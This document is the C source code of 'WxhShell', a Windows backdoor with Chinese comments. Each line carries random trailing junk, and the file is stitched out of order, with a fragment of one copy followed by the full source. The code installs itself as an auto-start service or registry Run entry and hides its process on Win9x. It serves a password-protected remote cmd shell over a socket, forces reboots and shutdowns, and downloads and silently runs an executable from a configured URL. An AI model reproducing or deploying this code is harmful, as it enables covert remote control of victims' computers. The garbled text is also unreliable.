    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Au=9<WB%H  
    if(Boot(SHUTDOWN)) Q#h*C ZT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXEu3h  
    else { MF41q%9p  
    closesocket(wsh); y8HwyU>  
    ExitThread(0); K3;lst>4  
    } rUz-\H(-  
    break; doX8Tq   
    } FX yyY-(O  
  // 获取shell San=E@3}v!  
  case 's': { sC< B  
    CmdShell(wsh); }C'H@:/  
    closesocket(wsh); nt5x[xa  
    ExitThread(0); m|CB')  
    break; u2FD@Xq?  
  } <=yqV]JR  
  // 退出 &az :YTq  
  case 'x': { YF4?3K0F:k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #s}cK  
    CloseIt(wsh); {hNvCk  
    break; e7$ZA#A_5v  
    } 6m\MYay  
  // 离开 QAk.~ ob  
  case 'q': { IAl X^6s*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1KI,/H"SY  
    closesocket(wsh); ~{xm(p  
    WSACleanup(); Dp8`O4YC  
    exit(1); p'fD:M:  
    break; J% b`*?A  
        } #Bih=A #  
  } {,9^k'9  
  } $vR#<a,7>  
y-1!@|l0:6  
  // 提示信息 J^Mq4&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]zt77'J  
} jG E=7  
  } {\ P`-'C  
%x]8^vze  
  return; Twi7g3}/jB  
} r](%9Y  
=dp(+7Va  
// shell模块句柄 1FPt%{s3  
int CmdShell(SOCKET sock) C||9u}Q<  
{ z2 m(<zb  
STARTUPINFO si; l_MF9.z&  
ZeroMemory(&si,sizeof(si)); </jzM?i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zZhA]J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c9 7?+Y^  
PROCESS_INFORMATION ProcessInfo; YWK|AT-4  
char cmdline[]="cmd"; 2X)n.%4g$;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2BGS$$pP  
  return 0; 2d:5~fEJp  
} 3+uCTn0%  
\I[f@D-J  
// 自身启动模式 q; n  
int StartFromService(void) d'okXCG  
{ gR]NH  
typedef struct nF#1B4b>  
{ aQTISX;  
  DWORD ExitStatus; e6(Pw20)s  
  DWORD PebBaseAddress; K!cLEG!G  
  DWORD AffinityMask; K8?]&.!  
  DWORD BasePriority; b<]Ae!I'  
  ULONG UniqueProcessId; li +MnLt  
  ULONG InheritedFromUniqueProcessId; -"9&YkN  
}   PROCESS_BASIC_INFORMATION; :MFF*1  
3%0ShMFP@  
PROCNTQSIP NtQueryInformationProcess; {~y,.[Ga  
%RS~>pK1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cN&]JS,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P2t{il   
bgNN0,+8  
  HANDLE             hProcess; |({ M8!BS  
  PROCESS_BASIC_INFORMATION pbi; qrw"z iW  
&%\H170S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~B2,edkM  
  if(NULL == hInst ) return 0; ~w,c6 Z  
MJ..' $>TC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6A ;,Ph2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VHbQLJ0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N,?4,+Hc-  
Pf/_lBtL  
  if (!NtQueryInformationProcess) return 0; CwL8-z0 Jn  
ulAOQGZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dJ|/.J$d  
  if(!hProcess) return 0; PCkQ hR  
~A-vIlGt!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iKVJ c=C  
t~0!K;nn  
  CloseHandle(hProcess); <} BuU!  
k7cM.<s!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (=eJceE!  
if(hProcess==NULL) return 0; P =jRof$  
:5DL&,,Q3  
HMODULE hMod; |H%[tkW6c  
char procName[255]; Gkr?M^@K  
unsigned long cbNeeded; }9FAM@x1K&  
iS@+qWo1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sPxDo?1x-  
|3SM  
  CloseHandle(hProcess); "+{>"_KV  
9ZVzIv(   
if(strstr(procName,"services")) return 1; // 以服务启动 >bUxb-8  
l =X6m(  
  return 0; // 注册表启动 z,+LPr  
} 6VQe?oh  
 z:p;Wm  
// 主模块 M}Obvl  
int StartWxhshell(LPSTR lpCmdLine) )&F]j  
{ HVLj(_ A  
  SOCKET wsl; 9V0@!M8S  
BOOL val=TRUE; 5B)z}g^h  
  int port=0; 3X>x`  
  struct sockaddr_in door; ->S# `"@$  
w40 -K5wt>  
  if(wscfg.ws_autoins) Install(); )xxpO$  
; VH:dg  
port=atoi(lpCmdLine); B ?%g@d-;  
O}Mu_edM  
if(port<=0) port=wscfg.ws_port; 5z=.Z\M`8  
:+? w>  
  WSADATA data; ~\]lMsk+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ss$/Bh>hN  
M7PG s-l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D~T;z pS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l6~wm1vO  
  door.sin_family = AF_INET; _rakTo8BY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C>=[fAr mO  
  door.sin_port = htons(port); Q| _e=  
A1p87o>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $9@jV<Q1  
closesocket(wsl); ]; Z[V  
return 1; <oKoz0!  
} 8ZN"-]*  
!+H)N  
  if(listen(wsl,2) == INVALID_SOCKET) { >X58 zlxk  
closesocket(wsl); `iZ){JfAH  
return 1; 9h/JW_  
} 30fqD1_{  
  Wxhshell(wsl); Bid+,,  
  WSACleanup(); F[5sFk M7  
|EZ\+!8N:{  
return 0; (ptk!u6  
|?\J,h  
} 'i;/?'!W6  
De^Uc  
// 以NT服务方式启动 #O,;3S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4m"6$  
{ 'wT !X[jF  
DWORD   status = 0; N% !TFQf  
  DWORD   specificError = 0xfffffff; #]5A|-O^  
,~nrNkhp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M$$Lsb [  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (CR]96n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kD\7wz,ui  
  serviceStatus.dwWin32ExitCode     = 0; h#~\-j9>  
  serviceStatus.dwServiceSpecificExitCode = 0; Qk[YF  
  serviceStatus.dwCheckPoint       = 0; 08MY=PC~R  
  serviceStatus.dwWaitHint       = 0; (,XbxDfM  
d9Uv/VGp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N_liKhq  
  if (hServiceStatusHandle==0) return; k esuM3  
ttd ^jT  
status = GetLastError(); aESlb H  
  if (status!=NO_ERROR) 2kkqPBc_  
{ FnWN]9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M;j)F  
    serviceStatus.dwCheckPoint       = 0; ]rS:# LK  
    serviceStatus.dwWaitHint       = 0; uFYcVvbT@  
    serviceStatus.dwWin32ExitCode     = status; i1JVvNMQ,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0?Bv zfb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >)*0lfxTZ  
    return; OSY.$$IO  
  } M"s+k  
>XJUj4B|X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BIY"{"hJ  
  serviceStatus.dwCheckPoint       = 0; `_+%  
  serviceStatus.dwWaitHint       = 0; pQCocy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PR3&LI;B*  
} PdqyNn=  
OVUJiBp  
// 处理NT服务事件,比如:启动、停止 4o3TW#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =Y {<&:%(  
{ qtlcY8!  
switch(fdwControl) 7fXta|eP0  
{ 1{-yF :A  
case SERVICE_CONTROL_STOP: bR'UhPs-8;  
  serviceStatus.dwWin32ExitCode = 0; 3XSfXS{lwP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oYAHyCkVq  
  serviceStatus.dwCheckPoint   = 0; r?2J   
  serviceStatus.dwWaitHint     = 0; ` #; "  
  { &j?+%Y1n@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ngOGo =  
  } l}_6 _g>6  
  return; -LU%z'  
case SERVICE_CONTROL_PAUSE: bc]SY =  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fJD+GvV$x  
  break; C+%6N@  
case SERVICE_CONTROL_CONTINUE: PrhGp _5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _^@>I8ix  
  break; ["WWaCcx  
case SERVICE_CONTROL_INTERROGATE: U28frRa  
  break; o0 |T<_  
}; tLzb*U8'1w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E RjMe'q4  
} cnz+%Y N  
srK9B0I  
// 标准应用程序主函数 jK\AVjn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XsGc!  o  
{ C;I:?4  
,FL*Z9wA  
// 获取操作系统版本 3YD.Fjz$  
OsIsNt=GetOsVer(); xQDWnpFc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gTb%c84  
.~,=?aq^  
  // 从命令行安装 -T2w?|  
  if(strpbrk(lpCmdLine,"iI")) Install(); O"~CZh,:r}  
KnC:hus  
  // 下载执行文件 ZVz`g]  
if(wscfg.ws_downexe) { Eg(.L,dj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6PT"9vR`)  
  WinExec(wscfg.ws_filenam,SW_HIDE); )1gOO{T]h?  
} 0y`r.)G  
9@>Q7AUCQ  
if(!OsIsNt) { nLY(%):(P  
// 如果时win9x,隐藏进程并且设置为注册表启动 zALtG<_t  
HideProc(); x7!gmbMfK'  
StartWxhshell(lpCmdLine); Ejj+%)n.  
} ?izl#?  
else LnPG+<  
  if(StartFromService()) (*Z:ByA  
  // 以服务方式启动 }=p+X:k=  
  StartServiceCtrlDispatcher(DispatchTable); GL,( N|  
else PZihC  
  // 普通方式启动 F^CR$L& K  
  StartWxhshell(lpCmdLine); t!\B6!Fo  
&3 *#h  
return 0; ?N=`}}Ky-  
} ;r} yeI Sf  
R(f6uO!m  
@?*; -]#)  
^$s&bH'8  
=========================================== y I}>  
kD}vK+  
LZDJ\"a-  
INY?@in  
rE%H NPO  
'7 t:.88  
" 2  ZyO  
oQ}K_}{>  
#include <stdio.h> 9qvl9,*g  
#include <string.h> ;_#<a*f  
#include <windows.h> M9~6ry-_  
#include <winsock2.h> W<:x4gBa  
#include <winsvc.h> $|t={s34  
#include <urlmon.h> .'b| pd  
JnLF61   
#pragma comment (lib, "Ws2_32.lib") EMzJyGt7  
#pragma comment (lib, "urlmon.lib") uC%mGZ a  
?5;N=\GQ  
#define MAX_USER   100 // 最大客户端连接数 RZ|M;c  
#define BUF_SOCK   200 // sock buffer m(`O>zS  
#define KEY_BUFF   255 // 输入 buffer  9XhcA  
3_"tds <L  
#define REBOOT     0   // 重启 o,RiAtdk  
#define SHUTDOWN   1   // 关机 w+$~ ds  
4UHviuOo8  
#define DEF_PORT   5000 // 监听端口 B.:1fT7lI  
z9E*1B+  
#define REG_LEN     16   // 注册表键长度 S$ k=70H  
#define SVC_LEN     80   // NT服务名长度 <m~{60{  
zKT4j1 h  
// 从dll定义API [qU`}S2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dt\rrN:v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CA5T3J@vAQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a n0n8l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $'<FPbUtD}  
}Fsr"RER@{  
// wxhshell配置信息 T+oOlug  
struct WSCFG { B!U;a=ia  
  int ws_port;         // 监听端口 5A+@xhRf  
  char ws_passstr[REG_LEN]; // 口令 *T~b ox  
  int ws_autoins;       // 安装标记, 1=yes 0=no _*E j3=u  
  char ws_regname[REG_LEN]; // 注册表键名 e.fxB  
  char ws_svcname[REG_LEN]; // 服务名 &+3RsIl W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H5*#=It  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5_1\{lP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 biV NZdA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FKUo^F?z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bj GfUQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q:=jv6T#  
Dus!Ki~8(t  
}; 0lV;bVa%  
Mh MXn;VKj  
// default Wxhshell configuration fL*+[v4  
struct WSCFG wscfg={DEF_PORT, }<zbx*!  
    "xuhuanlingzhe", +S WtHj7e  
    1, ]Ljb&*IEj  
    "Wxhshell", Q\>mg*79  
    "Wxhshell", X#HH7V>  
            "WxhShell Service", lOM8%{.'_x  
    "Wrsky Windows CmdShell Service", eAStpG"*  
    "Please Input Your Password: ", .osG"cS  
  1, qWf[X'  
  "http://www.wrsky.com/wxhshell.exe", USaa#s4'  
  "Wxhshell.exe" 2A:&Cqo  
    }; WNt':w^_  
w[$oH^7  
// 消息定义模块 m&s>Sn+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AD+OQLG]`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &TL"Hd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J *38GX+  
char *msg_ws_ext="\n\rExit."; \(--$9  
char *msg_ws_end="\n\rQuit."; /pV N1Yt  
char *msg_ws_boot="\n\rReboot..."; 8nWPt!U:  
char *msg_ws_poff="\n\rShutdown..."; H>},{ z  
char *msg_ws_down="\n\rSave to "; hy>0'$mU  
I;n <) >  
char *msg_ws_err="\n\rErr!"; B&_Z&H=  
char *msg_ws_ok="\n\rOK!"; /8!n7a7  
([^#.x)hz  
char ExeFile[MAX_PATH]; I@\D tQZ  
int nUser = 0; [!MS1v c;  
HANDLE handles[MAX_USER]; 9dm<(I}  
int OsIsNt; \&~YFjB  
n_:EWm$\  
SERVICE_STATUS       serviceStatus; pe<T" [X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]0BX5Z'  
R.DUfU"gp  
// 函数声明 S^ D7}  
int Install(void); *?$M=tH  
int Uninstall(void); n`@dk_%yI  
int DownloadFile(char *sURL, SOCKET wsh); &SNH1b#>E  
int Boot(int flag); ' sNiJ>  
void HideProc(void); .Z#/%y3S  
int GetOsVer(void); ec/>LJDX7  
int Wxhshell(SOCKET wsl); 29CzG0?B  
void TalkWithClient(void *cs); K|OPtYeb  
int CmdShell(SOCKET sock); z 2jC48~  
int StartFromService(void); Ftd,dqd  
int StartWxhshell(LPSTR lpCmdLine); 9|[uie  
bub6{MQW8e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _!!Fg%a5"R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9_?e, Q  
O&&_)  
// 数据结构和表定义 BoST?"&}'  
SERVICE_TABLE_ENTRY DispatchTable[] = W-gu*iZ6&  
{ Z`86YYGK  
{wscfg.ws_svcname, NTServiceMain}, TI\xCIH  
{NULL, NULL} ?>iUz.];t  
}; /h{Rf,H  
U=7nz|  
// 自我安装 dsj}GgG?Z  
int Install(void) 0TSB<,9a[  
{ ]T)<@bmL  
  char svExeFile[MAX_PATH]; !dU$1:7  
  HKEY key; t%J1(H  
  strcpy(svExeFile,ExeFile); Iqn (NOq^[  
7!h> < sx  
// 如果是win9x系统,修改注册表设为自启动 IF-y/]  
if(!OsIsNt) { TI t\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HTz`$9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m(d|TwG{  
  RegCloseKey(key); ez.a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;<thEWH;Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W amOg0  
  RegCloseKey(key); )B)f`(SA"<  
  return 0; t1"#L_<e  
    } 8UXRM :Z"  
  } M_-L#FHX  
} ipl,{  
else { 6y1\ar(A  
E/*&'Osq  
// 如果是NT以上系统,安装为系统服务 cIG7 Q"4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "a}fwg9Y  
if (schSCManager!=0) z6rT<~xZtu  
{ )7[#Ti  
  SC_HANDLE schService = CreateService u"m(a:jQ  
  ( ^Il*`&+?P  
  schSCManager, `C C=?E  
  wscfg.ws_svcname, p\F%Nj,  
  wscfg.ws_svcdisp, p!=O>b_f  
  SERVICE_ALL_ACCESS, 7S&$M-k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6>)nkD32g  
  SERVICE_AUTO_START, QxGcRlpLK  
  SERVICE_ERROR_NORMAL, %[s%H)e)  
  svExeFile, ?FjnG_Uz`D  
  NULL, ^jUw4Dj~-q  
  NULL, PgGUs4[  
  NULL, -zn_d]NV  
  NULL, 5V\",PA W  
  NULL KX 7 fgC  
  ); B2P@9u|9  
  if (schService!=0) CaO-aL  
  { P9f`<o  
  CloseServiceHandle(schService); 2<y9xvp  
  CloseServiceHandle(schSCManager); |#M|"7;2z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *8m['$oyV  
  strcat(svExeFile,wscfg.ws_svcname); qk3|fW/-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DcdEt=\)h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r 1jt~0&K  
  RegCloseKey(key); A_9J ~3  
  return 0; ^3S&LC 1;|  
    } V$w lOMp  
  } =-X-${/  
  CloseServiceHandle(schSCManager); ed}#S~4q  
} Y&8,f|{R  
} VN`fZ5*d~  
rQ_@q_B.  
return 1; qP<D9k>  
} SY[3O  
Qni`k)4  
// 自我卸载 `>`b;A4  
int Uninstall(void) zBTW&  
{ : ?BK A0E  
  HKEY key; S\< i`q  
^.\O)K {h  
if(!OsIsNt) { M}#DX=NZc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H?8'(  
  RegDeleteValue(key,wscfg.ws_regname); QDV+(  
  RegCloseKey(key); {?IbbT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9A} *  
  RegDeleteValue(key,wscfg.ws_regname); #Xox2{~  
  RegCloseKey(key); rzn,N FI  
  return 0; \yFUQq:  
  } wW1\{<hgr  
} 4C%pKV  
} >h#w~@e::  
else { Es)|#0m\x@  
Y$\|rD^f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \#t)B J2  
if (schSCManager!=0) X(MS!RV  
{ '!8-/nlv1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ],S {?!'1  
  if (schService!=0) 9jqsEd-SW  
  { @v2ko5  
  if(DeleteService(schService)!=0) { 3N|z^6`#  
  CloseServiceHandle(schService); Wu'qpJ  
  CloseServiceHandle(schSCManager); @`:X,]{  
  return 0; Q=xXj'W-  
  } %kV7 <:y  
  CloseServiceHandle(schService); ,>S7c  
  } cPNc$^Y  
  CloseServiceHandle(schSCManager); O.ce=E  
} E'DHO2 Y  
} |?2fq&2  
7g(Z @  
return 1; (BeJ,K7  
} 6`@J=Q?  
*|dK1'Xr  
// 从指定url下载文件 Pap6JR{7  
int DownloadFile(char *sURL, SOCKET wsh) 2a48(~<_  
{ U|%}B(  
  HRESULT hr; Z 9+fTT  
char seps[]= "/"; H4AT>}ri  
char *token; -|uoxj>  
char *file; jJNCNH*0  
char myURL[MAX_PATH]; A8Q^y AP^  
char myFILE[MAX_PATH]; FZj>N(  
o5?Y   
strcpy(myURL,sURL); "^\q{S&q2P  
  token=strtok(myURL,seps); .E}lAd.Mn  
  while(token!=NULL)  3}8o 9  
  { /0XMQy  
    file=token; /~{`!30  
  token=strtok(NULL,seps); E6-*2U)k+  
  } 0zB[seyE  
%NxQb'  
GetCurrentDirectory(MAX_PATH,myFILE); ebQgk Y=  
strcat(myFILE, "\\"); X$ ZVY2  
strcat(myFILE, file); U*$xR<8v  
  send(wsh,myFILE,strlen(myFILE),0); c:Nm!+5_(  
send(wsh,"...",3,0); LsuOmB|^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >9dD7FH  
  if(hr==S_OK) Pp tuXq%U  
return 0; daI_@kY"  
else CC`_e^~y=F  
return 1; YiDOV)  
?Z7QD8N  
} M>]A! W=  
ZhA_d#qH  
// 系统电源模块 *kl  :/#  
int Boot(int flag) c Rq2 re  
{ ~I@ls Ch  
  HANDLE hToken; W-n4w Ij"  
  TOKEN_PRIVILEGES tkp; fx{8ERo  
k~"E h]38  
  if(OsIsNt) { *(F`NJ 3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WYUDD_m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mOsp~|d  
    tkp.PrivilegeCount = 1; Ic0Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gVOAB-nw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0<-E)\:[g  
if(flag==REBOOT) { F+V!p4G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0+*NHiH  
  return 0; pi?MAE*f  
} GT&}Burl/n  
else { -SrZ^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7#0buXBg  
  return 0; sI!H=bp-8  
} &xQM!f  
  } 3 c=kYcj  
  else { tTLg;YjN  
if(flag==REBOOT) { 0 5`"U#`:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lb-1z]YwQ  
  return 0; S' j g#*$  
} eyCZ[SC  
else { !wfW0?eu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 27e!KG[&  
  return 0; ;=ddv@  
} E^axLp>(I  
} JNfL jfE)<  
:CyHo6o9  
return 1; KhHFJo[8sf  
} 52e>f5m.  
*9aJZWf>V  
// win9x进程隐藏模块 ::|~tLFu  
void HideProc(void) `<C<[JP:o  
{ ~|V^IJZ22  
'dLw8&T+W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "jFf}"  
  if ( hKernel != NULL ) 4I$Y(E}  
  { pjWRd_h.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /,Xl8<~#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Iux3f+H  
    FreeLibrary(hKernel); lK0ny>RB  
  } Z7;V}[wie  
}e?H(nZS7h  
return; ?h= n5}Y  
} P8tdT3*6/  
H3A$YkK [  
// 获取操作系统版本 513,k$7  
int GetOsVer(void) r )F;8(  
{ /Nf{;G!kg  
  OSVERSIONINFO winfo; CL=%eSsuD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8>&@"j  
  GetVersionEx(&winfo); gq7tSkH@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :GXF=Df  
  return 1; ?[ xgt )  
  else QNj]wm=mp  
  return 0; UVo`jb|> o  
} !+GYu;_  
$%y q[$^  
// 客户端句柄模块 `JySuP2~/  
int Wxhshell(SOCKET wsl) 36 "n7  
{ $|N6I  
  SOCKET wsh; {213/@,  
  struct sockaddr_in client; <xI<^r'C9e  
  DWORD myID; 8 #_pkVQw:  
)4yP(6|lx  
  while(nUser<MAX_USER) 8dGsV5"*  
{ ;qshd'?*  
  int nSize=sizeof(client); Bn}woyJdx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \T7Mt|f:5  
  if(wsh==INVALID_SOCKET) return 1; (jT)o,IW&  
Ep7MU&O0iK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z>hTL_|]a{  
if(handles[nUser]==0) 5'AP:3Gf"  
  closesocket(wsh); nBh+UT}  
else 2Ez<Iw  
  nUser++; E9:@H;Gc  
  } #[+# bw_6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]I?.1X5d0  
M<vPE4TIr*  
  return 0; SyWZOE%p  
} 50,'z?-_  
!nvwRQ  
// 关闭 socket FY1iY/\Cn  
void CloseIt(SOCKET wsh) 1- 2hh)  
{ B `(jTL  
closesocket(wsh); Q+:y  
nUser--; \ TV  
ExitThread(0); Rs%`6et}\  
} 1[FN: hm  
5^B79A"}  
// 客户端请求句柄 J=g)rd[`  
void TalkWithClient(void *cs) O2w-nd74U  
{ eV9U+]C`  
pv_o4qEN  
  SOCKET wsh=(SOCKET)cs; -`O{iHfM|P  
  char pwd[SVC_LEN]; f1 ;  
  char cmd[KEY_BUFF]; %w`d  
char chr[1]; {{G)Ry*pb  
int i,j; H>~CL  
|xO*!NR  
  while (nUser < MAX_USER) { jLAEHEs  
z0z@LA4k6@  
if(wscfg.ws_passstr) { Qb536RpcTY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E&M(QX5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -+R,="nRQ  
  //ZeroMemory(pwd,KEY_BUFF); vObZ|>.J~O  
      i=0; MmF&jd-=  
  while(i<SVC_LEN) { w#A)B<Y/"  
[!'+}  
  // 设置超时 AO#9XDEM  
  fd_set FdRead; YpZB-9Krf  
  struct timeval TimeOut; 1"h"(dA  
  FD_ZERO(&FdRead); ;Qi:j^+P)  
  FD_SET(wsh,&FdRead); =pH2V^<<#  
  TimeOut.tv_sec=8; DI C*{aBf  
  TimeOut.tv_usec=0; a<cwrDZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); amBg<P`'_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E~!$&9\  
l_I)d7   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gm~([Ln{  
  pwd=chr[0]; ohx[_}xN  
  if(chr[0]==0xd || chr[0]==0xa) { / *0t_  
  pwd=0; 7^L  
  break; |[\;.gT K  
  } N /4E ~^2  
  i++; 2+1ybOwb  
    } V9c.(QY|f  
Myq8`/_  
  // 如果是非法用户,关闭 socket DT-VxF6h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `4Yo-@iVP  
} 9LR=>@Z  
C6!F6Stn]g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9`in r.:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JZ5k3#@e  
N\{"&e  
while(1) { O]N/(pe:d  
?cU,%<r  
  ZeroMemory(cmd,KEY_BUFF); |]\zlH"w  
fY<#KM6X  
      // 自动支持客户端 telnet标准   AwM`[`ReE  
  j=0; 7;>|9k  
  while(j<KEY_BUFF) { q lc@$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !eX0Q 2  
  cmd[j]=chr[0]; O1c%XwMn^  
  if(chr[0]==0xa || chr[0]==0xd) { e3I""D{)[=  
  cmd[j]=0; epy2}TI  
  break; zsL@0]e&  
  } D|uvgu2  
  j++; GppCrQ%Ra|  
    } ,\4]uZ<  
c_8&4  
  // 下载文件 <WXVUEea  
  if(strstr(cmd,"http://")) { x,B] J4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'uL4ezTtA  
  if(DownloadFile(cmd,wsh)) %:3XYO.w-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*72g)hVh  
  else RQVu~7d[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Al>d 21U  
